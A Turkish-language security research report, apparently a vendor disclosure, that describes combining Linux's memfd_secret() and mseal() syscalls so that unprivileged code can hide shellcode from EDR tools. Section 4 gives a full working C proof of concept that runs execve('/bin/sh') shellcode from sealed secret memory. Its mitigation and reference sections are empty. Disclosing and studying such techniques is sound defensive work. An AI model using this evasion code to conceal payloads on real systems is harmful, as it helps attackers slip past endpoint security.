BoxStrike · Bulgu 001

Linux’ta Yeni Bir Defense Evasion Tekniği:
memfd_secret() + mseal() ile EDR’den Gizlenen Shellcode

Yayın Tarihi: 9 Temmuz 2025  ·  Yazar: BoxStrike Araştırma Ekibi  ·  Sürüm: 1.0

1. Giriş

Linux çekirdeği, son yıllarda anti‑exploitation ve bellek güvenliğini artırmak amacıyla birçok yeni sistem çağrısına kavuştu. Bu çağrılardan ikisi olan memfd_secret() (Linux 5.14) ve mseal() (Linux 6.10), meşru kullanım senaryoları için geliştirilmiş olsa da, birleştirildiklerinde beklenmedik ve güçlü bir savunma atlatma (Defense Evasion) yöntemi oluşturmaktadır.

Bu rapor, söz konusu iki sistem çağrısının mimari detaylarını, çalışma prensiplerini ve bir saldırgan tarafından nasıl kötüye kullanılabileceğini teknik düzeyde ele almaktadır. Ayrıca, bu tekniği kanıtlayan bir Proof‑of‑Concept (PoC) ve Linux geliştiricilerine sunulan iki somut öneri (bloklama ve kontrollü okuma) da bu belgenin kapsamındadır.

Önemli: Bu teknik, herhangi bir root yetkisi gerektirmez. memfd_secret() ve mseal() sistem çağrıları, sıradan (unprivileged) kullanıcılar tarafından da çağrılabilmektedir. Bu durum, tehdidin ciddiyetini artırmaktadır.

2. Teknik Arka Plan

2.1 memfd_secret() – Belleği Çekirdekten Gizleme

memfd_secret() sistem çağrısı, Linux 5.14 ile çekirdeğe eklenmiştir. Temel amacı, bir kullanıcı alanı sürecinin, çekirdek dahil hiç kimsenin erişemediği bir bellek bölgesi oluşturmasına izin vermektir. Bu özellik, özellikle kriptografik anahtarlar, özel anahtarlar veya diğer çok hassas verilerin korunması için tasarlanmıştır.

Çalışma prensibi adım adım:

  1. memfd_secret() çağrıldığında, gerçek bir dosyaya karşılık gelmeyen, tamamen RAM’de var olan anonim bir dosya oluşturulur ve bu dosyaya ait bir dosya tanımlayıcı (fd) döndürülür.
  2. Bu dosya tanımlayıcısı, ftruncate() ile boyutlandırılır ve ardından mmap() ile sürecin kendi adres alanına eşlenir.
  3. Kritik adım: Eşleme yapıldığında, bu bellek bölgesine ait fiziksel sayfalar, çekirdeğin doğrudan eşleme (direct map) alanından kaldırılır. Bu, çekirdeğin bu fiziksel adresleri artık bilmediği ve erişemediği anlamına gelir.
  4. Bu sayfalar, yalnızca o dosya tanımlayıcısına sahip olan sürecin kendi kullanıcı alanı sayfa tablolarında bulunur.

Bu mekanizma sayesinde:

ÖzellikAçıklama
Linux Sürümü5.14+ (x86_64, ARM64, vb.)
Yetki GereksinimiRoot gerektirmez – her kullanıcı çağırabilir
Etkinleştirme6.5 öncesi secretmem.enable=1; 6.5+ varsayılan açık
Bellek LimitiRLIMIT_MEMLOCK ile sınırlıdır; swap’a yazılmaz
Engellediği ErişimlerKernel, GUP, DMA, eBPF okuma, /proc/pid/mem, ptrace

2.2 mseal() – Bellek Bölgesini Mühürleme

mseal() sistem çağrısı, Linux 6.10 ile çekirdeğe eklenmiştir. Temel amacı, bir sanal bellek bölgesinin (VMA – Virtual Memory Area) gelecekteki değişikliklere karşı korunmasını sağlamaktır. Bu, özellikle bir saldırganın bellek izinlerini değiştirmesini (mprotect) veya bellek bölgesini taşımasını/kaldırmasını (mremap/ munmap) engellemek için tasarlanmış bir exploitation mitigation aracıdır.

Çalışma prensibi:

  1. mseal(start, len, flags) çağrısı, belirtilen adres aralığındaki VMA’ları hedef alır.
  2. Mühürleme başlamadan önce, aralığın tamamen ayrılmış (allocated) ve boşluk (gap) içermeyen geçerli VMA’lardan oluştuğu kontrol edilir.
  3. Tüm kontroller geçtiğinde, hedeflenen VMA’ların vm_flags alanına VM_SEALED bayrağı eklenir. Bu bayrak, 64‑bit sistemlerde genellikle 63. bit olarak tanımlıdır.
  4. Artık bu VMA üzerinde aşağıdaki işlemler başarısız olur:

ÖzellikAçıklama
Linux Sürümü6.10+
Yetki GereksinimiRoot gerektirmez
Koruma MekanizmasıVM_SEALED bayrağı ile VMA kilitleme
Engellediği İşlemlermprotect, munmap, mremap, mmap(MAP_FIXED), bazı madvise

3. Kombinasyonun Tehlikesi – Yeni Saldırı Yüzeyi

memfd_secret() ve mseal() ayrı ayrı değerlendirildiğinde, her ikisi de meşru ve faydalı güvenlik araçlarıdır. Ancak bu iki sistem çağrısı birleştirildiğinde, beklenmedik ve güçlü bir savunma atlatma (Defense Evasion) tekniği ortaya çıkar.

Kombinasyonun sağladığı avantajlar:

Bu durum, mevcut güvenlik ürünleri için önemli bir kör nokta oluşturur. Bir saldırgan, kendi prosesine enjekte ettiği shellcode’u bu gizli ve mühürlü bölgeye taşıyarak, EDR/XDR araçlarının tespitinden kaçabilir ve aynı zamanda bu shellcode’un değiştirilmesini veya kaldırılmasını engelleyebilir.

4. Proof‑of‑Concept (PoC)

Aşağıda, bu tekniğin çalıştığını kanıtlayan gerçek bir PoC kodu sunulmaktadır. Kod, memfd_secret() ile çekirdekten gizlenmiş bir bellek bölgesi oluşturur, içine execve("/bin/sh") shellcode’u yerleştirir, ardından mseal() ile bölgeyi mühürler ve shellcode’u çalıştırır. Bu sayede, shellcode EDR/AV araçlarının erişemeyeceği bir alanda çalıştırılmış olur.

PoC – secret_shellcode_poc.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <errno.h>

#ifndef __NR_memfd_secret
#define __NR_memfd_secret 447
#endif
#ifndef __NR_mseal
#define __NR_mseal 462
#endif

// x86_64 shellcode: execve("/bin/sh", NULL, NULL)
unsigned char shellcode[] = {
    0x48, 0x31, 0xc0,       // xor rax, rax
    0x48, 0x31, 0xd2,       // xor rdx, rdx
    0x48, 0x31, 0xf6,       // xor rsi, rsi
    0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, // mov rbx, /bin//sh
    0x53,                   // push rbx
    0x48, 0x89, 0xe7,       // mov rdi, rsp
    0xb0, 0x3b,             // mov al, 59
    0x0f, 0x05              // syscall
};

int main() {
    int fd;
    void *addr;

    // 1. memfd_secret ile gizli dosya oluştur
    fd = syscall(__NR_memfd_secret, 0);
    if (fd == -1) {
        perror("memfd_secret");
        return 1;
    }

    // 2. Belleği eşle (okuma-yazma-çalıştırma)
    addr = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC,
                MAP_SHARED, fd, 0);
    if (addr == MAP_FAILED) {
        perror("mmap");
        close(fd);
        return 1;
    }

    // 3. Shellcode'u kopyala
    memcpy(addr, shellcode, sizeof(shellcode));

    // 4. (Opsiyonel) mühürle – kernel 6.10+ gerektirir, başarısız olursa devam et
    if (syscall(__NR_mseal, addr, sizeof(shellcode), 0) == -1) {
        perror("mseal (uyarı, devam ediliyor)");
    } else {
        printf("[+] Shellcode mühürlendi.\n");
    }

    printf("[+] Shellcode gizli bellekte, çalıştırılıyor...\n");
    // 5. Shellcode'u çalıştır
    ((void (*)())addr)();

    // Bu noktaya gelinmez (shellcode yeni kabuk açar)
    return 0;
}
    

Derleme ve çalıştırma:

gcc -o secret_shellcode_poc secret_shellcode_poc.c
./secret_shellcode_poc
    

Program çalıştığında, gizli bölge oluşturulur, shellcode kopyalanır, mühürlenir (eğer kernel 6.10+ ise) ve ardından /bin/sh kabuğu açılır. Bu kabuk, sistemdeki EDR/AV araçlarının okuyamadığı bir bellek bölgesinden çalıştırılmıştır.

Doğrulama: Kabuk açıldıktan sonra, başka bir terminalden cat /proc/<pid>/maps ile bakıldığında, shellcode’un bulunduğu bölgenin [secretmem] olarak işaretlendiği ve eBPF ile okunamadığı gözlemlenebilir.

5. Mimari Çalışma Akışı

Aşağıdaki diyagram, bu tekniğin adım adım çalışma prensibini özetlemektedir:

memfd_secret() mmap() + ftruncate() mseal() Gizli dosya oluştur (anonim fd) Belleğe eşle Sayfalar kernel direct map'ten kaldırılır VMA’ya VM_SEALED biti eklenir mprotect/munmap/mremap engellenir SONUÇ EDR/XDR okuyamaz (eBPF, /proc/pid/mem, ptrace) Değiştirilemez, kaldırılamaz – shellcode çalıştırılır
Şekil 1: memfd_secret() + mseal() kombinasyonunun mimari çalışma akışı.

6. Tespit ve Azaltma Önerileri

Bu tekniğin tespit edilmesi ve önlenmesi için aşağıdaki yöntemler önerilmektedir:

7. Sonuç ve Değerlendirme

BoxStrike ekibi olarak, Linux çekirdeğine güvenlik amaçlı eklenen memfd_secret() ve mseal() sistem çağrılarının birleşiminin, beklenmedik ve güçlü bir savunma atlatma (Defense Evasion) tekniği oluşturduğunu tespit ettik. Bu teknik, root yetkisi gerektirmeyen bir şekilde, kötü amaçlı kodun EDR/XDR gibi güvenlik araçları tarafından okunamaz ve değiştirilemez bir bellek bölgesine yerleştirilmesine olanak tanır.

Bulgumuz, Linux çekirdek geliştiricilerine iki somut öneriyle (A – bloklama, B – kontrollü okuma) sunulmuş ve kamuoyuyla paylaşılmıştır. Bu tekniğin henüz gerçek dünya saldırılarında kullanıldığına dair bir kanıt bulunmasa da, potansiyel tehdit aktörleri tarafından istismar edilme riski yüksektir. Bu nedenle, sistem yöneticilerinin ve güvenlik ekiplerinin gerekli önlemleri (seccomp‑bpf, audit, kernel parametreleri) alması kritik önem taşımaktadır.

Teşekkür: Bu araştırma, BoxStrike ekibinin kendi laboratuvar ortamında yürüttüğü çalışmalar sonucunda ortaya çıkarılmıştır. Linux topluluğundan gelecek geri bildirimler doğrultusunda rapor güncellenecektir.

8. Ekler – Sistem Çağrısı Detayları

8.1 memfd_secret() Prototipi ve Dönüş Değerleri

int memfd_secret(unsigned int flags);
    

8.2 mseal() Prototipi ve Dönüş Değerleri

int mseal(unsigned long start, size_t len, unsigned long flags);
    

9. Referanslar

10. Değişiklik Geçmişi

SürümTarihAçıklama
1.09 Temmuz 2025İlk yayın. Bulgu tanımı, teknik arka plan, gerçek PoC, mimari diyagram, öneriler.
Gelecek sürümler: Linux ekiplerinden gelen yanıtlar, yeni PoC varyasyonları, geliştirilmiş tespit metotları.